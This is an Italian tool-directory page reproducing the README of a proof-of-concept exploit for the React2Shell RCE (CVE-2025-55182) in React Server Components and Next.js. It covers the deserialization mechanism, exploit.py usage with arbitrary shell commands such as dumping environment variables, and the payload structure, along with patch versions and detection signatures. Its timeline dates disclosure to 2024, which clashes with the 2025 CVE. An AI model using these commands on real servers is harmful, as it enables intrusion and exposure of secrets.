Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
vulnerable-next-js-poc — POC per React2Shell (CVE-2025-55182) | Kitploit
Strumenti/GitHubGitHub/kondukto-io/vulnerable-next-js-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubkondukto-io/vulnerable-next-js-poc

vulnerable-next-js-poc

POC per React2Shell (CVE-2025-55182)

Vedi Repository
518 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 (React2Shell) - Proof of Concept

⚠️ SOLO RICERCA DI SICUREZZA

Questo repository contiene una proof of concept per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice nei React Server Components. Questo è destinato esclusivamente a test di sicurezza autorizzati e scopi di ricerca.

Panoramica della Vulnerabilità

  • CVE ID: CVE-2025-55182
  • Nome: React2Shell
  • Punteggio CVSS: 10.0 (CRITICA)
  • Tipo: CWE-502 - Deserializzazione di Dati Non Attendibili
  • Vettore di Attacco: Rete (AV:N)
  • Autenticazione: Non Richiesta (PR:N)
  • Stato: Sfruttamento attivo in natura

Versioni Interessate

React:

  • 19.0.0
  • 19.1.0, 19.1.1
  • 19.2.0

Next.js:

  • 15.0.0 fino a 15.0.4
  • 15.1.0 fino a 15.1.8
  • 15.2.0 fino a 15.2.5
  • 16.0.0 fino a 16.0.6

Dettagli Tecnici

La vulnerabilità sfrutta una deserializzazione non sicura nel protocollo Flight dei React Server Components. Quando un server riceve un payload appositamente costruito, non riesce a validare correttamente la struttura prima della deserializzazione, consentendo a dati controllati dall'attaccante di manipolare l'esecuzione lato server.

Meccanismo di Attacco

  1. Iniezione di Chunk Fittizi: L'attaccante invia un payload Flight con un oggetto costruito che imita la struttura interna di Chunk
  2. Dirottamento del Gestore Promise: L'oggetto fittizio include un metodo then personalizzato
  3. Manipolazione dello Stato: La deserializzazione di React tenta di risolvere il Chunk fittizio, attivando il gestore dell'attaccante
  4. Esecuzione di Codice: JavaScript arbitrario viene eseguito sul server tramite process.mainModule.require('child_process')

Configurazione del POC

Prerequisiti

  • Node.js 18+
  • Python 3.x (per lo script di exploit)
  • npm o yarn

Installazione

  1. Installare le dipendenze:
root@kitploit:~
npm install
  1. Avviare il server vulnerabile:
root@kitploit:~
npm run dev

Il server si avvierà su http://localhost:3000

Struttura dell'Applicazione Vulnerabile

root@kitploit:~
app/
├── page.js              # Pagina principale con ServerForm
├── ServerForm.js        # Componente client con form
├── actions.js           # Server Action vulnerabile
└── layout.js            # Layout principale

Esecuzione dell'Exploit

Utilizzo Base

root@kitploit:~
python3 exploit.py -t http://localhost:3000 -c "whoami"

Opzioni

  • -t, --target: URL del bersaglio (obbligatorio)
  • -c, --command: Comando shell da eseguire (predefinito: id)
  • --check-only: Verifica solo se il bersaglio sembra vulnerabile

Esempi

Verifica se il bersaglio è vulnerabile:

root@kitploit:~
python3 exploit.py -t http://localhost:3000 --check-only

Esecuzione di comandi arbitrari:

root@kitploit:~
# Ottieni informazioni utente
python3 exploit.py -t http://localhost:3000 -c "id"

# Elenca i file
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# Crea un file come POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# Leggi le variabili d'ambiente
python3 exploit.py -t http://localhost:3000 -c "env"

Struttura del Payload dell'Exploit

L'exploit utilizza form-data multipart con:

root@kitploit:~
Campo "0": JSON dannoso con gestore 'then' personalizzato
Campo "1": Riferimento al campo 0 ($@0)
Header: Next-Action: x (attiva l'elaborazione RSC)

Il payload manipola l'oggetto interno _response per eseguire:

root@kitploit:~
process.mainModule.require('child_process').execSync('<comando>')

Mitigazione

Azioni Immediate

  1. Aggiornare React:

    root@kitploit:~
    npm install [email protected] [email protected]
    
  2. Aggiornare Next.js:

    root@kitploit:~
    npm install [email protected]  # o ultima versione patchata
    

Versioni Patchate

  • React: ≥ 19.3.0
  • Next.js:
    • ≥ 15.0.5
    • ≥ 15.1.9
    • ≥ 15.2.6
    • ≥ 16.0.7

Rilevamento

Indicatori di Compromissione

  • Richieste POST inattese verso endpoint RSC con header Next-Action
  • Payload form-data multipart con riferimenti $@
  • Proprietà then sospette nei corpi delle richieste
  • Anomalie nell'esecuzione dei processi lato server

Firme di Rete

root@kitploit:~
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...contenente {"then":"$@

Cronologia

  • 3 dicembre 2024: Divulgazione pubblica
  • 5 dicembre 2024: Osservato sfruttamento attivo
  • 26 dicembre 2024: Scadenza conformità CISA KEV

Riferimenti

  • Registro CVE Ufficiale
  • Voce NVD
  • Catalogo CISA KEV
  • Avviso di Sicurezza Wiz
  • Analisi Tecnica OffSec

Disclaimer

Questa proof of concept è fornita esclusivamente per scopi educativi e test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità per l'uso improprio di queste informazioni.

NON:

  • Utilizzare questo exploit contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione al test
  • Distribuirlo in ambienti di produzione
  • Condividere codice di exploit senza il giusto contesto e avvisi

Licenza

Licenza MIT - Solo per Scopi di Ricerca sulla Sicurezza

Scarica lo strumento